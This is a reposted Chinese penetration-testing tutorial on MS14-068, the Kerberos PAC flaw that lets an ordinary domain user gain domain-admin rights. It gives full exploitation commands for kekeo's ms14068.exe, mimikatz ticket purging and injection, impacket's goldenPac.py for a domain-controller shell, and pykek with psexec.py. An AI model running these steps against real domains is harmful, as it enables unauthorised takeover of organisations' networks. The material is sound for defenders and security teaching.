(轉)MS14-068域內提權漏洞總結


0x01 漏洞起源

說到ms14-068,不得不說silver ticket,也就是銀票。銀票是一張tgs,也就是一張服務票據。服務票據是客戶端直接發送給服務器,並請求服務資源的。如果服務器沒有向域控dc驗證pac的話,那么客戶端可以偽造域管的權限來訪問服務器。所以ms14-068的來源和銀票是息息相關的。

在mimikatz作者的ppt里面是這樣描述的:

ms1.png

所以說這真的是一個大漏洞,允許域內任何一個普通用戶,將自己提升至域管權限。微軟給出的補丁是kb3011780。在server 2000以上的域控中,只要沒有打這個補丁,那么情況將是非常糟糕的。

https://technet.microsoft.com/library/security/ms14-068.aspx

0x02 漏洞利用

2.1 windows環境下測試

在windows環境下,mimikatz的作者已經寫出了一個exploit。

https://github.com/gentilkiwi/kekeo

其中的ms14-068.exe正是此漏洞的利用工具。要測試這個漏洞,前提還是要明白kerberos的整個認證協議過程,不然是不會明白原理的,測試過程中出了什么問題也不知道怎么解決。我們作為滲透測試人員,如果說對windows環境中這么重要的一個認證協議都不了解,我想內網滲透也是浮雲吧。

利用這個漏洞,我們需要一個普通域用戶的賬戶名和密碼或者是哈希,哈希傳遞我已經在別的文章中總結了,其實哈希和密碼是有相同的效果。以及域名稱,該用戶的sids。這些都不是重點,重點是如何獲得一個域用戶的賬戶,我們在域內的某台機器上面抓取hash或者的明文密碼,或者是其他方法等等。

2.1.2 windows下利用過程

測試環境:

  • 域:xxx.com
  • Dc:dc.xxx.com
  • Win7:win7-01.xxx.com

首先我們在dc上面檢測是否有這個漏洞:

ms2.png

很遺憾,沒有打這個補丁。

下面我們在win7上面測試該漏洞。Win7是一台普通的域內機器,普通域用戶jack登陸。

測試訪問域控的c盤共享:

ms3.png

訪問被拒絕。

為了使我們生成的票據起作用,首先我們需要將內存中已有的kerberos票據清除,清除方法是使用mimikatz:

#kerberos::purge

ms4.png

使用ms14-068來產生一張高權限的berberos服務票據,並注入到內存中:

ms14068.exe /domain:xxx.com /user:jack /password:jackpwd/ /ptt

ms5.png

再測試訪問:

ms6.png

測試psexec無密碼登陸

ms7.png

很棒,達到了我們想要的效果。

如果想生成一張kerberos票據,做票據傳遞攻擊(ptt),可以這樣:

ms14068.exe /domain:xxxcom /sid:S-1-5-21-2666969376-4225180350-4077551764 /user:jack /rid:1104 /password:jackpwd/ /aes256 /kdc:dc.xxx.com /ticket:jack_admin.kirbi

再配合mimikatz的ptt功能,將票據導入到內存中。

2.2 kali環境下測試

如果是遠程內網環境,首先要做內網代理,這個就不用多說。然后將自己的dns指向域控制器。

Linux下面測試的工具也有很多,當然msf這個漏洞利用框架肯定是少不了這個模塊。關於msf的利用過程我這里就不再多講,給出國外的一篇利用過程:

https://community.rapid7.com/community/metasploit/blog/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit

2.2.1 goldenPac.py

Kali下面利用此漏洞的工具我是強烈推薦impacket工具包里面的goldenPac.py,這個工具是結合ms14-068加psexec的產物,利用起來十分順手。

Kali下面默認還沒有安裝kerberos的認證功能,所以我們首先要安裝一個kerberos客戶端:

apt-get install  krb5-user

最簡單的辦法:

goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com就可以得到一個cmd shell:

ms8.png

當然此工具不止是得到一個shell,我們甚至可以直接讓該域控運行我們上傳的程序,執行一個empire stager或者一個msf payload都不在話下。

2.2.1 ms14-068.py

https://github.com/bidord/pykek

效果和mimikatz作者寫的exploit差不多,這個腳本是產生一張kerberos的票據緩存,這個緩存主要是針對linux上面的kerberos認證的,但是mimikatz也有傳遞票據緩存的功能(ptc),實際上和mimikatz產生的kirbi格式的票據只是格式不同而已。

當然沒有kerberos客戶端也不行,如果沒有安裝記得先安裝:

apt-get install  krb5-user

這個利用過程需要sid和用戶名密碼(哈希也可以)。

利用方法:

ms14-068.py -u jack@xxx.com -s jacksid -d dc.xxx.com

ms9.png

這樣生成了一張kerberos認證的票據緩存,要讓這個票據在我們認證的時候生效,我們要將這張緩存復制到/tmp/krb5cc_0

注意在kali下默認的root用戶,使用的kerberos認證票據緩存默認是/tmp/krb5cc_0,所以我們只要將我們生成的票據緩存復制到/tmp/krb5cc_0即可:

ms10.png

Klist可以列舉出當前的kerberos認證票據,jack這張票據已經成功導入。

下面我們使用psexec.py來測試一下使用這張緩存的票據來得到一個域控的shell:

ms11.png

可以說也是很簡單。

0x03 小結

Ms14-068這個漏洞可謂是威力無窮,在域滲透中,我們第一步就是應該檢測域控是否有這個漏洞,一旦域控沒有打上這個補丁,將會使我們的內網滲透工作變得十分簡單。

參考連接:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM